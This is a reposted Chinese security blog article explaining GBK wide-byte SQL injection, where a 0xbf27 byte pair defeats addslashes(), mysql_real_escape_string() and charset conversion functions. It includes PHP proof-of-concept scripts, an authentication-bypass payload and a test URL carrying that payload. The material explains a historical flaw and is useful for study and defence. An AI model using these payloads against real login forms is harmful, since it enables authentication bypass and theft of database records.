注册
登录
| 关键词： 字符集 漏洞 字符 addslashes mysql 处理 GBK 测试 问题 一些 |
PS:之前转过来的文章删除了，很多人问为什么，其实没有为什么，也懒得一一解答了，再转过来，存档之。其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触发了。mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。方法一：改变mysql配置文件my.cnfCODE:[client]default-character-set=GBK方法二：在建立连接时使用CODE:SET CHARACTER SET 'GBK'例：mysql_query("SET CHARACTER SET 'gbk'", $c);问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码<?php$c = mysql_connect("localhost", "user", "pass");mysql_select_db("database", $c);// change our character setmysql_query("SET CHARACTER SET 'gbk'", $c);// create demo tablemysql_query("CREATE TABLE users (username VARCHAR(32) PRIMARY KEY,password VARCHAR(32)) CHARACTER SET 'GBK'", $c);mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);// now the exploit code$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; $_POST['password'] = 'anything'; // Proper escaping, we should be safe, right?$user = mysql_real_escape_string($_POST['username'], $c);$passwd = mysql_real_escape_string($_POST['password'], $c);$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";$res = mysql_query($sql, $c);echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records?>纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。下面再来分析下国内最近漏洞产生的原因。问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过addslashes() 加上的"\"失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。 根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);$id3=iconv('gbk', 'utf-8', $_GET['id']);这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：<?php$c = mysql_connect("localhost", "user", "pass");mysql_select_db("database", $c);// change our character setmysql_query("SET CHARACTER SET 'gbk'", $c);// create demo tablemysql_query("CREATE TABLE users (username VARCHAR(32) PRIMARY KEY,password VARCHAR(32)) CHARACTER SET 'GBK'", $c);mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);// now the exploit code//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);//$id3=iconv('gbk', 'utf-8', $_GET['id']);$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'";$res = mysql_query($sql, $c);echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records?>测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings 。from:http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
